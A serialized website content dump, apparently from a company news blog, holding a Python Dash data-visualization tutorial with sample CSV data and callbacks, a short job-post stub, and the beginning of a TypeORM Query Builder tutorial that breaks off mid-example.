Components,...",[11,20563,20564],{},"In this article we use: Dash HTML Components and Dash Core Components.",[565,20566,20568],{"id":20567},"dash-html-components","Dash HTML Components",[11,20570,20571],{},"A function that provides HTML-style components, used to define HTML tags for layouts.",[11,20573,20574,20575],{},"To use Dash HTML Components we need to import to our .py file as follows: ",[612,20576,20577],{},"from dash import html",[11,20579,11735],{},[11,20581,20582],{},[51,20583,20584],{},"html_demo.py",[605,20586,20589],{"className":20587,"code":20588,"language":610},[608],"import dash\nfrom dash import html\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div(children=[\n   html.H1(children='Hello Dash'),\n])\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[612,20590,20588],{"__ignoreMap":66},[11,20592,20593,20596,20597,20600],{},[612,20594,20595],{},"html.H1(children='Hello Dash')"," component generates a ",[612,20598,20599],{},"\u003Ch1>Hello Dash\u003C\u002Fh1>"," on the browser.",[11,20602,20603,20604,20607],{},"Just like HTML tags, we can completely change the style of html_component with the \"",[51,20605,20606],{},"style","\" property.",[11,20609,20610,20611],{},"Example: ",[612,20612,20613],{},"html.H1('Hello Dash', style={'textAlign': 'center', 'color': '#7FDBFF'})",[11,20615,20616,20617,878],{},"The above code is rendered as ",[612,20618,20619],{},"\u003Ch1 style=\"text-align: center; color: #7FDBFF\">Hello Dash\u003C\u002Fh1>",[11,20621,20622],{},"There are a few important differences between the Dash HTML Components and the HTML attributes:",[31,20624,20625,20628,20638,20649],{},[34,20626,20627],{},"The style property in HTML is a semicolon-separated string. In Dash, you can just supply a dictionary.",[34,20629,20630,20631,20634,20635,436],{},"The keys in the style dictionary are camelCased. So, instead of \"",[51,20632,20633],{},"text-align","\", it's \"",[51,20636,20637],{},"textAlign",[34,20639,20640,20641,20644,20645,20648],{},"The HTML \"",[51,20642,20643],{},"class","\" attribute is \"",[51,20646,20647],{},"className","\" in Dash.",[34,20650,20651,20652,20655],{},"The children of the HTML tag is specified through the \"",[51,20653,20654],{},"children","\" keyword argument.",[11,20657,20658,20659],{},"In addition, instead of using the style directly, we can use the CSS file to define the style for the layout, for details, refer to: ",[55,20660,20661],{"href":20661,"rel":20662},"https:\u002F\u002Fdash.plotly.com\u002Fexternal-resources",[59],[11,20664,20665,20666],{},"You can view all of the available components in the Dash HTML Components Gallery: ",[55,20667,20668],{"href":20668,"rel":20669},"https:\u002F\u002Fdash.plotly.com\u002Fdash-html-components",[59],[565,20671,20673],{"id":20672},"dash-core-components","Dash Core Components",[11,20675,20676,20677],{},"Includes a set of higher-level components like dropdowns, checkboxes, radio items, graphs, and more. You can view all of the available components in the Dash Core Components Gallery: ",[55,20678,20679],{"href":20679,"rel":20680},"https:\u002F\u002Fdash.plotly.com\u002Fdash-core-components",[59],[11,20682,20683,20684],{},"To use Dash Core Components we need to import to our .py file as follows: ",[612,20685,20686],{},"from dash import dcc",[11,20688,20689,20690,20693,20694,20696],{},"Among core components, \"",[51,20691,20692],{},"Graph","\" is an important component for Data Visualization. “",[51,20695,20692],{},"” renders interactive data visualizations using the open source plotly.js graphing library. Plotly.js supports over 35 chart types and renders charts in both vector-quality SVG and high-performance WebGL. A small note here is that Plotly.js is only used to render to the browser (this is done by Dash), but when coding we will use the Plotly.py library (provided when installing Dash) rather than coding with javascript.",[11,20698,20699,20700,20702],{},"To see how to use the \"",[51,20701,20692],{},"\" component let's go to an example that displays the csv data to the browser as a line graph.",[11,20704,20705],{},[51,20706,20707],{},"csv\u002Fgraph_sample.csv",[605,20709,20712],{"className":20710,"code":20711,"language":610},[608],"DateTime,DATA 1,DATA 2,DATA 3,DATA 4\n20211220 101010.000,30,100,124,197\n20211220 101010.010,40,110,134,65\n20211220 101010.020,50,140,214,149\n20211220 101010.030,60,150,169,-98\n20211220 101010.040,70,160,204,-173\n20211220 101010.050,80,170,164,-108\n20211220 101010.060,90,180,148,150\n20211220 101010.070,100,190,180,92\n20211220 101010.080,110,200,268,94\n20211220 101010.090,120,210,164,-139\n20211220 101010.100,130,220,254,-132\n",[612,20713,20711],{"__ignoreMap":66},[11,20715,20716],{},"First we need to use pandas to load the csv file",[605,20718,20721],{"className":20719,"code":20720,"language":610},[608],"df = pd.read_csv('csv\u002Fgraph_sample.csv')\n",[612,20722,20720],{"__ignoreMap":66},[11,20724,20725],{},"Print the variable df to the console to see its structure",[605,20727,20730],{"className":20728,"code":20729,"language":610},[608],"print(df)\n",[612,20731,20729],{"__ignoreMap":66},[438,20733],{"className":20734,"alt":66,"src":20735,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31144341\u002Fexample_wide_form.png",[11,20737,20738],{},"Does this look familiar to you? Exactly, it is the wide-form DataFrame that we mentioned in the About Pandas above!",[11,20740,20741],{},"The next step is to convert the DateTime column's data from string to datetime so that our chart shows the exact date and time of the data.",[605,20743,20746],{"className":20744,"code":20745,"language":610},[608],"df['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n",[612,20747,20745],{"__ignoreMap":66},[11,20749,20750],{},"Now we create a line figure using plotly express",[605,20752,20755],{"className":20753,"code":20754,"language":610},[608],"line_fig = px.line(df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n",[612,20756,20754],{"__ignoreMap":66},[11,20758,20759],{},"Pass the figure to the Graph component",[605,20761,20764],{"className":20762,"code":20763,"language":610},[608],"app.layout = html.Div(children=[\n    dcc.Graph(id='graph', figure=line_fig)\n])\n",[612,20765,20763],{"__ignoreMap":66},[11,20767,20768],{},"Completed code:",[11,20770,20771],{},[51,20772,20773],{},"graph_demo.py",[605,20775,20778],{"className":20776,"code":20777,"language":610},[608],"import dash\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc\nfrom dash import html\n\napp = dash.Dash(__name__)\n\ndf = pd.read_csv('csv\u002Fgraph_sample.csv')\nprint(df)\ndf['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n\nline_fig = px.line(df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n\napp.layout = html.Div(children=[\n   dcc.Graph(id='graph', figure=line_fig)\n])\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[612,20779,20777],{"__ignoreMap":66},[11,20781,20782],{},"In the terminal run the command:",[605,20784,20787],{"className":20785,"code":20786,"language":610},[608],"python graph_demo.py\n",[612,20788,20786],{"__ignoreMap":66},[11,20790,20791,20792,20796],{},"Then visit ",[55,20793,20794],{"href":20794,"rel":20795},"http:\u002F\u002F127.0.0.1:8050\u002F",[59]," to see the result",[438,20798],{"className":20799,"alt":66,"src":20800,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31144923\u002Fexample_graph-1024x373.png",[11,20802,20803],{},"In the example above:",[31,20805,20806,20809],{},[34,20807,20808],{},"Pandas library is used to process input data (read csv, convert data of DateTime column from string to datetime).",[34,20810,20811],{},"Plotly Express (in the Plotly.py library) is responsible for specifying the graph type (line, scatter,...), x-axis, y-axis,... of the Graph output.",[403,20813,20815],{"id":20814},"dash-callbacks","Dash Callbacks",[11,20817,20818],{},"Callback functions: functions that are automatically called by Dash whenever an input component's property changes, in order to update some property in another component (the output).",[11,20820,20821],{},"To understand Callbacks let's come up with an example of filtering data by date, with input from the dcc.DatePickerRange component:",[11,20823,20824],{},[51,20825,20826],{},"csv\u002Fcallbacks_sample.csv",[605,20828,20831],{"className":20829,"code":20830,"language":610},[608],"DateTime,DATA 1,DATA 2,DATA 3,DATA 4\n20211219 101010.010,10,200,178,90\n20211219 111010.020,20,150,134,25\n20211219 121010.030,5,130,210,11\n20211219 131010.040,15,110,100,-97\n20211219 141010.050,60,150,143,-17\n20211219 151010.060,30,140,132,30\n20211219 161010.070,20,180,167,45\n20211219 171010.080,16,120,240,123\n20211219 181010.090,75,190,153,40\n20211219 191010.100,90,250,162,-10\n20211220 001010.000,68,142,156,1\n20211220 011010.010,40,110,134,65\n20211220 021010.020,50,140,214,149\n20211220 031010.030,60,150,169,-98\n20211220 041010.040,70,160,204,-173\n20211220 051010.050,80,170,164,-108\n20211220 061010.060,90,180,148,150\n20211220 071010.070,100,190,180,92\n20211220 081010.080,110,200,268,94\n20211220 091010.090,120,210,164,-139\n20211220 101010.100,130,220,254,-132\n20211221 001010.000,10,90,142,30\n20211221 011010.010,30,100,162,55\n20211221 021010.020,80,120,180,20\n20211221 031010.030,70,110,176,-10\n20211221 041010.040,50,130,194,-90\n20211221 051010.050,60,140,202,-120\n20211221 061010.060,90,150,164,100\n20211221 071010.070,120,160,197,132\n20211221 081010.080,110,170,186,40\n20211221 091010.090,130,210,182,-130\n20211221 101010.100,120,230,210,-100\n",[612,20832,20830],{"__ignoreMap":66},[11,20834,20835],{},[51,20836,20837],{},"callbacks_demo.py",[605,20839,20842],{"className":20840,"code":20841,"language":610},[608],"from datetime import datetime, timedelta\n\nimport dash\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc, Output, Input\nfrom dash import html\n\napp = dash.Dash(__name__)\n\ndf = pd.read_csv('csv\u002Fcallbacks_sample.csv')\ndf['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n\ninit_start_date = df['DateTime'].min().strftime('%Y-%m-%d')\ninit_end_date = df['DateTime'].max().strftime('%Y-%m-%d')\n\napp.layout = html.Div(children=[\n   dcc.DatePickerRange(\n       id='date-picker-range',\n       start_date=init_start_date,\n       end_date=init_end_date,\n       minimum_nights=0,\n       display_format='YYYY\u002FMM\u002FDD'\n   ),\n   dcc.Graph(id='scatter-graph'),\n])\n\n@app.callback(\n   Output('scatter-graph', 'figure'),\n   Input('date-picker-range', 'start_date'),\n   Input('date-picker-range', 'end_date')\n)\ndef update_figure(start_date, end_date):\n   if start_date is not None and end_date is not None:\n       start_date = datetime.fromisoformat(start_date)\n       end_date = datetime.fromisoformat(end_date) + timedelta(days=1)\n       filtered_df = df[(start_date \u003C= df['DateTime']) & (df['DateTime'] \u003C= end_date)]\n       scatter_fig = px.scatter(filtered_df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n\n       return scatter_fig\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[612,20843,20841],{"__ignoreMap":66},[11,20845,20846,20847,20850,20851,20854,20855,20858,20859,20862,20863,436],{},"In Dash, the inputs and outputs of our application are simply the properties of a particular component. In this example, our input are the \"",[51,20848,20849],{},"start_date","\" and \"",[51,20852,20853],{},"end_date","\" properties of the component that has the ID \"",[51,20856,20857],{},"date-picker-range","\". Our output is the \"",[51,20860,20861],{},"figure","\" property of the component with the ID \"",[51,20864,20865],{},"scatter-graph",[11,20867,20868,20869,20872,20873,20876,20877,1014,20879,20881,20882,20884,20885,1673],{},"Whenever an input property changes, the function that the ",[51,20870,20871],{},"@callback"," decorator wraps will get called automatically. Dash provides this callback function with the new value of the input property as its argument (in the above example function ",[51,20874,20875],{},"update_figure"," has 2 arguments: ",[51,20878,20849],{},[51,20880,20853],{},"), and Dash updates the property of the output component with whatever was returned by the function (in the example above function ",[51,20883,20875],{}," returns ",[51,20886,20887],{},"scatter_fig",[11,20889,20890,20891,20894,20895,20796],{},"In the terminal run the command ",[612,20892,20893],{},"python callbacks_demo.py"," and go to ",[55,20896,20794],{"href":20794,"rel":20897},[59],[438,20899],{"className":20900,"alt":66,"src":20901,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31145606\u002Fcallback_demo_pic1-1024x381.png",[11,20903,20904,20905],{},"After changing ",[51,20906,20853],{},[438,20908],{"className":20909,"alt":66,"src":20910,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31145648\u002Fcallbacks_demo_pic2-1024x387.png",[403,20912,20914],{"id":20913},"optimizing-and-adding-functionality","Optimizing and adding functionality",[11,20916,20917],{},"In this part, we take the code in the Callbacks section to optimize and add functionality to it.",[565,20919,20921],{"id":20920},"read-n-data","Read n DATA",[11,20923,20924],{},"Currently we are hard-setting the number of input data is 4.",[605,20926,20929],{"className":20927,"code":20928,"language":610},[608],"scatter_fig = px.scatter(filtered_df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n",[612,20930,20928],{"__ignoreMap":66},[11,20932,20933],{},"Assuming we have any amount of data DATA 1, DATA 2, ..., DATA n, with the above code we can only read and display 4 data.",[11,20935,20936],{},"To read and display the graph n DATA, we need to modify the code a little bit:",[605,20938,20941],{"className":20939,"code":20940,"language":610},[608],"# get first columns name for x-axis\nx_col_name = df.columns[0]\n# get list column name except first column for y-axis\ny_col_name_list = df.columns[1:]\nfiltered_df = df[(start_date \u003C= df[x_col_name]) & (df[x_col_name] \u003C= end_date)]\nscatter_fig = px.scatter(filtered_df, x=x_col_name, y=y_col_name_list)\n",[612,20942,20940],{"__ignoreMap":66},[565,20944,20946],{"id":20945},"read-config-from-csv-header","Read config from CSV header",[11,20948,20949],{},"Consider the header of the CSV as follows",[605,20951,20954],{"className":20952,"code":20953,"language":610},[608],"DateTime(yyyyMMdd HH:mm:ss.fff),DATA 1(minFilter=20;maxFilter=100),DATA 2(maxFilter=140),DATA 3,DATA 4,DATA 5\n",[612,20955,20953],{"__ignoreMap":66},[11,20957,20958],{},"We will add the function to read the config from the header above:",[31,20960,20961,20964],{},[34,20962,20963],{},"Read the config of the DateTime column to set the date time format (currently set hard in the code).",[34,20965,20966,20967,1014,20970,20973,20974,20976,20977,20979],{},"Read config ",[51,20968,20969],{},"minFilter",[51,20971,20972],{},"maxFilter"," of DATA columns to filter out data with values less than ",[51,20975,20969],{}," and greater than ",[51,20978,20972],{}," of that DATA column.",[11,20981,20982,20983,20986],{},"First add the file ",[51,20984,20985],{},"utils.py"," containing common functions",[605,20988,20991],{"className":20989,"code":20990,"language":610},[608],"import re\n\n_format_convertor = (\n   ('yyyy', '%Y'), ('yyy', '%Y'), ('yy', '%y'), ('y', '%y'),\n   ('MMMM', '%B'), ('MMM', '%b'), ('MM', '%m'), ('M', '%m'),\n   ('dddd', '%A'), ('ddd', '%a'), ('dd', '%d'), ('d', '%d'),\n   ('HH', '%H'), ('H', '%H'), ('hh', '%I'), ('h', '%I'),\n   ('mm', '%M'), ('m', '%M'),\n   ('ss', '%S'), ('s', '%S'),\n   ('tt', '%p'), ('t', '%p'),\n   ('fff', '%f'),\n   ('zzz', '%z'), ('zz', '%z'), ('z', '%z'),\n)\n\ndef convert_py_datetime_format(in_format):\n   out_format = ''\n   while in_format:\n       if in_format[0] == \"'\":\n           apos = in_format.find(\"'\", 1)\n           if apos == -1:\n               apos = len(in_format)\n           out_format += in_format[1:apos].replace('%', '%%')\n           in_format = in_format[apos + 1:]\n       elif in_format[0] == '\\\\':\n           out_format += in_format[1:2].replace('%', '%%')\n           in_format = in_format[2:]\n       else:\n           for intok, outtok in _format_convertor:\n               if in_format.startswith(intok):\n                   out_format += outtok\n                   in_format = in_format[len(intok):]\n                   break\n           else:\n               out_format += in_format[0].replace('%', '%%')\n               in_format = in_format[1:]\n   return out_format\n\ndef extract_csv_col_config(col_name: str):\n   try:\n       found = re.search('\\\\((.*)\\\\)', col_name)\n       col_name = col_name.replace(found.group(0), '')\n       config_string = found.group(1)\n       config_list = config_string.split(';')\n       configs = []\n       for config in config_list:\n           key_value_list = config.split('=')\n           key = key_value_list[0]\n           value = key_value_list[1] if len(key_value_list) > 1 else None\n           configs.append((key, value))\n   except AttributeError:\n       configs = []\n   return col_name, configs\n",[612,20992,20990],{"__ignoreMap":66},[11,20994,17605],{},[31,20996,20997,21003],{},[34,20998,14684,20999,21002],{},[51,21000,21001],{},"convert_py_datetime_format"," function is used to convert the format of yyyyMMdd HH:mm:ss.fff to the Python format.",[34,21004,14684,21005,21008,21009,21012,21013,21016,21017],{},[51,21006,21007],{},"extract_csv_col_config"," function will take the name of the column containing the config and return the column name that has removed the config string along with an array containing the configs of that column. For example ",[612,21010,21011],{},"DATA 1(minFilter=20;maxFilter=100)"," will return ",[612,21014,21015],{},"DATA 1"," and array ",[612,21018,21019],{},"[(minFilter, 20), (maxFilter, 100)]",[11,21021,21022,21023,871,21026],{},"Next add function ",[51,21024,21025],{},"process_csv_variable",[51,21027,21028],{},"app.py",[605,21030,21033],{"className":21031,"code":21032,"language":610},[608],"from datetime import datetime, timedelta\n\nimport dash\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc, Output, Input\nfrom dash import html\n\nfrom utils import extract_csv_col_config, convert_py_datetime_format\n\ndef process_csv_variable(df_param):\n   # process x-axis csv variable\n   old_x_col_name = df_param.columns[0]\n   new_x_col_name, configs = extract_csv_col_config(old_x_col_name)\n   datetime_format = configs[0][0]\n   df_param = df_param.rename(columns={old_x_col_name: new_x_col_name})\n   df_param[new_x_col_name] = pd.to_datetime(df_param[new_x_col_name],\n                                             format=convert_py_datetime_format(datetime_format))\n   # process y-axis csv variable\n   y_col_name_list = df_param.columns[1:]\n   for old_y_col_name in y_col_name_list:\n       new_y_col_name, configs = extract_csv_col_config(old_y_col_name)\n       df_param = df_param.rename(columns={old_y_col_name: new_y_col_name})\n       for config, value in configs:\n           if config == 'minFilter':\n               df_param.loc[df_param[new_y_col_name] \u003C int(value), new_y_col_name] = np.nan\n           elif config == 'maxFilter':\n               df_param.loc[df_param[new_y_col_name] > int(value), new_y_col_name] = np.nan\n   return df_param\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div(id='container', children=[\n   dcc.DatePickerRange(\n       id='date-picker-range',\n       minimum_nights=0,\n       display_format='YYYY\u002FMM\u002FDD'\n   ),\n   dcc.Graph(id='scatter-graph'),\n])\n\n@app.callback(\n   Output('date-picker-range', 'start_date'),\n   Output('date-picker-range', 'end_date'),\n   Input('container', 'id')\n)\ndef update_date_picker(id):\n   df = pd.read_csv('csv\u002Fapp_sample.csv')\n   df = process_csv_variable(df)\n   x_col_name = df.columns[0]\n\n   init_start_date = df[x_col_name].min().strftime('%Y-%m-%d')\n   init_end_date = df[x_col_name].max().strftime('%Y-%m-%d')\n   return init_start_date, init_end_date\n\n@app.callback(\n   Output('scatter-graph', 'figure'),\n   Input('date-picker-range', 'start_date'),\n   Input('date-picker-range', 'end_date')\n)\ndef update_figure(start_date, end_date):\n   df = pd.read_csv('csv\u002Fapp_sample.csv')\n   df = process_csv_variable(df)\n   if start_date is not None and end_date is not None:\n       start_date = datetime.fromisoformat(start_date)\n       end_date = datetime.fromisoformat(end_date) + timedelta(days=1)\n       # get first columns name for x-axis\n       x_col_name = df.columns[0]\n       # get list column name except first column for y-axis\n       y_col_name_list = df.columns[1:]\n       filtered_df = df[(start_date \u003C= df[x_col_name]) & (df[x_col_name] \u003C= end_date)]\n       scatter_fig = px.scatter(filtered_df, x=x_col_name, y=y_col_name_list)\n\n       return scatter_fig\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[612,21034,21032],{"__ignoreMap":66},[11,21036,21037,21038,21040],{},"The function ",[51,21039,21025],{}," will receive a DataFrame, read the config from the column names, process the data according to the config, and return a DataFrame after processing.",[11,21042,21043,21044,21047],{},"Now we add ",[51,21045,21046],{},"csv\u002Fapp_sample.csv"," file to test",[605,21049,21052],{"className":21050,"code":21051,"language":610},[608],"DateTime(yyyyMMdd HH:mm:ss.fff),DATA 1(minFilter=20;maxFilter=100),DATA 2(maxFilter=140),DATA 3,DATA 4,DATA 5\n20211219 101010.010,10,200,178,90,110\n20211219 111010.020,20,150,134,25,120\n20211219 121010.030,5,130,210,11,90\n20211219 131010.040,15,110,100,-97,80\n20211219 141010.050,60,150,143,-17,130\n20211219 151010.060,30,140,132,30,140\n20211219 161010.070,20,180,167,45,150\n20211219 171010.080,16,120,240,123,160\n20211219 181010.090,75,190,153,40,150\n20211219 191010.100,90,250,162,-10,170\n20211220 001010.000,68,142,156,1,180\n20211220 011010.010,40,110,134,65,130\n20211220 021010.020,50,140,214,149,190\n20211220 031010.030,60,150,169,-98,200\n20211220 041010.040,70,160,204,-173,190\n20211220 051010.050,80,170,164,-108,180\n20211220 061010.060,90,180,148,150,170\n20211220 071010.070,100,190,180,92,150\n20211220 081010.080,110,200,268,94,160\n20211220 091010.090,120,210,164,-139,140\n20211220 101010.100,130,220,254,-132,130\n20211221 001010.000,10,90,142,30,150\n20211221 011010.010,30,100,162,55,160\n20211221 021010.020,80,120,180,20,170\n20211221 031010.030,70,110,176,-10,110\n20211221 041010.040,50,130,194,-90,90\n20211221 051010.050,60,140,202,-120,80\n20211221 061010.060,90,150,164,100,70\n20211221 071010.070,120,160,197,132,60\n20211221 081010.080,110,170,186,40,50\n20211221 091010.090,130,210,182,-130,40\n20211221 101010.100,120,230,210,-100,30\n",[612,21053,21051],{"__ignoreMap":66},[11,21055,20890,21056,21059,21060,20796],{},[612,21057,21058],{},"python app.py"," and visit ",[55,21061,20794],{"href":20794,"rel":21062},[59],[438,21064],{"className":21065,"alt":66,"src":21066,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31150435\u002Fapp_demo1-1024x371.png",[11,21068,21069],{},"To make it easier to check the results, we hide the other data and only show DATA 1",[438,21071],{"className":21072,"alt":66,"src":21073,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31150508\u002Fapp_demo2-1024x373.png",[11,21075,21076],{},"We see that data with values less than 20 and greater than 100 has been filtered out.",[395,21078,21080],{"id":21079},"source-code","Source code",[11,21082,21083],{},[55,21084,21085],{"href":21085,"rel":21086},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Fpython-dash-sample",[59],[395,21088,3866],{"id":3476},[11,21090,21091],{},[55,21092,21093],{"href":21093,"rel":21094},"https:\u002F\u002Fdash.plotly.com\u002F",[59],[11,21096,21097],{},[55,21098,21099],{"href":21099,"rel":21100},"https:\u002F\u002Fpandas.pydata.org\u002Fdocs\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":21102},[21103,21104,21105,21109,21110],{"id":20467,"depth":67,"text":20468},{"id":20489,"depth":67,"text":20490},{"id":20538,"depth":67,"text":20539,"children":21106},[21107,21108],{"id":20567,"depth":1306,"text":20568},{"id":20672,"depth":1306,"text":20673},{"id":20814,"depth":67,"text":20815},{"id":20913,"depth":67,"text":20914,"children":21111},[21112,21113],{"id":20920,"depth":1306,"text":20921},{"id":20945,"depth":1306,"text":20946},"2022-01-25","Introduction to Dash Dash is an open source library released under the permissive MIT license. Written on top of Plotly.js and React.js, Dash is ideal for building and deploying data apps with customized user interfaces. Dash is simple enough that you can bind a user interface to your code in less than 10 minutes. Dash apps are rendered in the web browser, so it can run on cross-platform and also mobile devices.",{},"\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash",{"title":20451,"description":21115},"news\u002Ftruc-quan-hoa-du-lieu-bang-python-dash","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F04082100\u002Fpython_dash.png","26PYMCXTw7kHwD7cNeqmsWPoqy9APUDr8_WOdt0-bfs",{"id":21123,"title":21124,"body":21125,"category":69,"created by":4334,"date":21132,"description":21129,"extension":72,"meta":21133,"navigation":74,"path":21134,"sections":76,"seo":21135,"stem":21136,"thumbnail":21137,"__hash__":21138},"content_en\u002Fnews\u002Ftuyen-dung-experienced-it-communicator.md","(Vietnamese) Tuyển dụng Experienced IT Communicator",{"type":8,"value":21126,"toc":21130},[21127],[11,21128,21129],{},"Sorry, this entry is only available in Vietnamese.",{"title":66,"searchDepth":67,"depth":67,"links":21131},[],"2025-07-14",{},"\u002Fnews\u002Ftuyen-dung-experienced-it-communicator",{"title":21124,"description":21129},"news\u002Ftuyen-dung-experienced-it-communicator","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F07\u002F14161503\u002FWe-are-1-e1752484829402.png","0G_uRHuXA5iM2jkL7qJtzsneIe9UFlcjK1pwNMzLHy4",{"id":21140,"title":21141,"body":21142,"category":1319,"created by":70,"date":21669,"description":21670,"extension":72,"meta":21671,"navigation":74,"path":21672,"sections":76,"seo":21673,"stem":21674,"thumbnail":21675,"__hash__":21676},"content_en\u002Fnews\u002Ftypeorm.md","TypeORM and Query Builder in TypeORM",{"type":8,"value":21143,"toc":21654},[21144,21148,21151,21154,21156,21159,21162,21166,21169,21172,21175,21178,21182,21185,21188,21191,21194,21197,21200,21206,21209,21215,21218,21224,21230,21233,21239,21245,21248,21254,21260,21263,21269,21275,21281,21283,21289,21295,21301,21303,21309,21315,21321,21323,21329,21335,21341,21343,21349,21355,21358,21361,21366,21372,21374,21380,21385,21391,21393,21399,21403,21409,21414,21420,21425,21431,21436,21439,21442,21448,21454,21457,21463,21467,21473,21475,21480,21484,21490,21492,21497,21501,21507,21509,21514,21518,21524,21526,21531,21536,21542,21544,21549,21554,21560,21566,21570,21576,21578,21584,21588,21594,21596,21602,21606,21612,21616,21622,21626,21632,21634,21637,21640,21643,21646,21648],[403,21145,21146],{"id":3630},[20,21147,3631],{},[11,21149,21150],{},"TypeORM is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8). Its goal is to always support the latest JavaScript features and provide additional features that help you to develop any kind of application that uses databases - from small applications with a few tables to large scale enterprise applications with multiple databases.",[11,21152,21153],{},"ORM is a type of tool that maps entities with database tables. ORM provides simplified development process by automating object-to-table and table-to-object conversion.",[565,21155,7755],{"id":7754},[11,21157,21158],{},"TypeORM is an Object Relational Mapper library running in node.js and written in TypeScript. TypeScript is an improvement to JavaScript with optional typing. TypeScript is a compiled language. It is not interpreted at run-time. The TypeScript compiler takes TypeScript files (.ts) and compiles them in to JavaScript files (.js).",[11,21160,21161],{},"TypeORM supports multiple databases like MySQL, PostgreSQL, MariaDB, SQLite, MS SQL Server, Oracle, SAP Hana and WebSQL. TypeORM is an easy-to-use ORM to scaffold new apps that connect to databases. TypeORM functionality is RDBMS-specific concepts.",[565,21163,21165],{"id":21164},"features-of-typeorm","Features of TypeORM",[11,21167,21168],{},"Automatically create database table schemes based on your models",[11,21170,21171],{},"Easily insert, update and delete object in the database",[11,21173,21174],{},"Create mapping (one-to-one, one-to-many and many-to-many) between tables",[11,21176,21177],{},"Provides simple CLI commands",[565,21179,21181],{"id":21180},"benefits-of-typeorm","Benefits of TypeORM",[11,21183,21184],{},"TypeORM is easy to use ORM framework with simple coding. It has the following benefits:",[11,21186,21187],{},"1. High quality and loosely-coupled applications",[11,21189,21190],{},"2. Scalable applications",[11,21192,21193],{},"3. Easily integrate with other modules",[11,21195,21196],{},"4. Perfectly fits any architecture from small to enterprise apps",[11,21198,21199],{},"In typeorm there are many features but in this blog I will write about how to use query builder of typeorm with typescript.",[403,21201,21203],{"id":21202},"query-builder",[20,21204,21205],{},"Query Builder",[11,21207,21208],{},"Query builder is used build complex SQL queries in an easy way. It is initialized from Connection method.",[565,21210,21212],{"id":21211},"connection",[20,21213,21214],{},"Connection",[11,21216,21217],{},"Consider a simple example of how to use QueryBuilder using connection method:",[605,21219,21222],{"className":21220,"code":21221,"language":610},[608],"import {getConnection} from \"typeorm\";\n\nconst user = await getConnection()\n.createQueryBuilder()\n.from(\"user\", \"user\")\n.select(\"user\")\n.where(\"user.id = :id\", { id: 1 })\n.getOne();\n",[612,21223,21221],{"__ignoreMap":66},[565,21225,21227],{"id":21226},"repository",[20,21228,21229],{},"Repository",[11,21231,21232],{},"We can use repository to create query builder. It is described below,",[605,21234,21237],{"className":21235,"code":21236,"language":610},[608],"import {getRepository} from \"typeorm\"; \nconst user = await getRepository(User)\n.createQueryBuilder(\"user\")\n.where(\"user.id = :id\", { id: 1 }) \n.getOne();\n",[612,21238,21236],{"__ignoreMap":66},[565,21240,21242],{"id":21241},"adding-expression-use-getconnection-no-model-needed",[20,21243,21244],{},"Adding expression use getConnection (no model needed)",[11,21246,21247],{},"table user: id, name, age",[11,21249,21250,21253],{},[20,21251,21252],{},"where"," is used to filter the records if the condition is matched.",[605,21255,21258],{"className":21256,"code":21257,"language":610},[608],"getConnection().createQueryBuilder().from(\"user\", \"user\").select(\"user\") .where(\"user.id = :id\", { id: 1 }) .getRawOne();\n",[612,21259,21257],{"__ignoreMap":66},[11,21261,21262],{},"This query is equivalent to:",[605,21264,21267],{"className":21265,"code":21266,"language":610},[608],"select * from user where user.id=1;\n",[612,21268,21266],{"__ignoreMap":66},[11,21270,21271,21274],{},[20,21272,21273],{},"orderBy"," is used to sort the records based on the field",[605,21276,21279],{"className":21277,"code":21278,"language":610},[608],"getConnection().createQueryBuilder().from(\"user\", \"user\").orderBy(\"user.name\");\n",[612,21280,21278],{"__ignoreMap":66},[11,21282,21262],{},[605,21284,21287],{"className":21285,"code":21286,"language":610},[608],"select * from user order by user.name;\n",[612,21288,21286],{"__ignoreMap":66},[11,21290,21291,21294],{},[20,21292,21293],{},"groupBy",": It is used to group the records based on the specified column.",[605,21296,21299],{"className":21297,"code":21298,"language":610},[608],"getConnection().createQueryBuilder().from(\"user\", 